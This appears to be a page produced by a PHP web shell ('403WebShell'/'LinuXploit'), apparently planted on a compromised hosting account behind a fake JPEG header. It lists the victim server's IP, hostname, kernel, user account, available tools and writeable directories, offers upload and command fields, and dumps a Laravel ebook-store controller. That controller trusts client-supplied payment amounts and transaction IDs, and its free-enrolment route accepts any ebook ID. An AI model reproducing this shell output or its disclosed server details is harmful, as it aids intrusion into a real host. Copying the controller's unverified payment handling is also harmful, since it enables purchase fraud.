����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.133.83.94
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/WebController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Contracts\Support\Renderable;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use App\Ebook;
use App\EbookCart;
use App\EbookOrder;
use App\EbookReview;
use App\EbookCategory;
use App\EbookOrderDetail;
use Auth;
use Session;

class WebController extends Controller
{
    /**
     * Display a listing of the resource.
     * @return Renderable
     */
    public function index()
    {
        $data['ebooks'] = Ebook::where('status','1')->get();
        $data['categories'] = EbookCategory::where('status','1')->get();
        $data['search'] = '';
        $data['category_id'] = '';
        return view('admin.ebook.web.ebook_list',$data);
    }

    /**
     * Show the form for creating a new resource.
     * @return Renderable
     */
    public function detail($id)
    {
        $data['ebook'] = Ebook::find($id);
        $data['ebooks'] = Ebook::where('status','1')->where('category_id',$data['ebook']->category_id)->where('id','!=',$id)->get();
        $data['reviews'] = EbookReview::where('ebook_id',$id)->get();
        if(Auth::check()){
            $data['order'] = EbookOrder::where('user_id',Auth::user()->id)->where('ebook_id',$id)->get();
        } else {
            $data['order'] = [];
        }        
        $data['category_id'] = '';
        return view('admin.ebook.web.ebook_detail',$data);
    }

    /**
     * Store a newly created resource in storage.
     * @param Request $request
     * @return Renderable
     */
    public function search(Request $request)
    {
        $data['search'] = $request->search;
        $data['ebooks'] = Ebook::where('status','1')->where('title','like',"%{$request->search}%")->get();
        $data['categories'] = EbookCategory::where('status','1')->get();
        $data['category_id'] = '';
        return view('admin.ebook.web.ebook_list',$data);
        
    }

    /**
     * Show the specified resource.
     * @param int $id
     * @return Renderable
     */
    public function filter($id)
    {
        $data['ebooks'] = Ebook::where('status','1')->where('category_id',$id)->get();
        $data['categories'] = EbookCategory::where('status','1')->get();
        $data['search'] = '';
        $data['category_id'] = $id;
        return view('admin.ebook.web.ebook_list',$data);
    }

    /**
     * Update the specified resource in storage.
     * @param Request $request
     * @param int $id
     * @return Renderable
     */
    public function rating(Request $request)
    {
        $request->validate([
            'rating' => 'required',
        ]);

        if(EbookReview::where('ebook_id',$request->ebook_id)->where('user_id',Auth::user()->id)->exists()){
            $data['ebook_id'] = $request->ebook_id;
            $data['user_id'] = Auth::user()->id;
            $data['rating'] = $request->rating;
            $data['comment'] = $request->comment;
            EbookReview::where('ebook_id',$request->ebook_id)->where('user_id',Auth::user()->id)->update($data);
            Session::flash('success', trans('flash.UpdatedSuccessfully'));
        } else {
            $data['ebook_id'] = $request->ebook_id;
            $data['user_id'] = Auth::user()->id;
            $data['rating'] = $request->rating;
            $data['comment'] = $request->comment;
            EbookReview::create($data);
            Session::flash('success', trans('flash.CreateSuccessfully'));
        }
        return back();
    }

    /**
     * Remove the specified resource from storage.
     * @param int $id
     * @return Renderable
     */
    public function dopayment(Request $request)
    {
        $payment_method = 'RazorPay';
        $order_id = '#ebook'.'-'.date('d-m-Y').'-'.mt_rand(1000000, 9999999);
        $data['order_id'] = $order_id;
        $data['user_id'] = Auth::user()->id;
        $data['ebook_id'] = $request->ebook_id;
        $data['orignal_price'] = $request->orignal_price;
        $data['total_amount'] = $request->amount;
        $data['transaction_id'] = $request->razorpay_payment_id;
        $data['payment_method'] = $payment_method;        
        $data['currency'] = Session::get('changed_currency');
        $order = EbookOrder::create($data);
        EbookCart::where('user_id',Auth::user()->id)->delete();
        Session::flash('success', trans('OrderCreateSuccessfully'));
        return redirect('web/ebook/confirm-order');
    }

    public function orderConfirm()
    {
        $data['order'] = EbookOrder::where('user_id',Auth::user()->id)->latest()->first();
        return view('admin.ebook.web.invoice',$data);
    }

    public function myinvoice($id)
    {
        $data['order'] = EbookOrder::where('user_id',Auth::user()->id)->whereId($id)->first();
        return view('admin.ebook.web.invoice',$data);
    }
    public function myEbook()
    {
        if(Auth::check()){
            if(EbookOrder::where('user_id',Auth::user()->id)->exists()){
                $data['myebooks'] = EbookOrder::where('user_id',Auth::user()->id)->get();
                return view('admin.ebook.web.myebook',$data);
            } else {
                Session::flash('success', trans('NoAnyBook'));
                return back();
            }            
        } else {
            Session::flash('success', trans('LoginFirst'));
            return back();
        }        
    }

    public function freeenroll(Request $request,$ebook_id)
    {
        $payment_method = 'Free';
        $order_id = '#ebook'.'-'.date('d-m-Y').'-'.mt_rand(1000000, 9999999);
        $data['order_id'] = $order_id;
        $data['user_id'] = Auth::user()->id;
        $data['ebook_id'] = $ebook_id;
        $data['orignal_price'] = '00';
        $data['total_amount'] = '00';
        $data['transaction_id'] = '';
        $data['payment_method'] = $payment_method;        
        $data['currency'] = Session::get('changed_currency');
        $order = EbookOrder::create($data);
        EbookCart::where('user_id',Auth::user()->id)->delete();
        return view('admin.ebook.web.confirmation');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit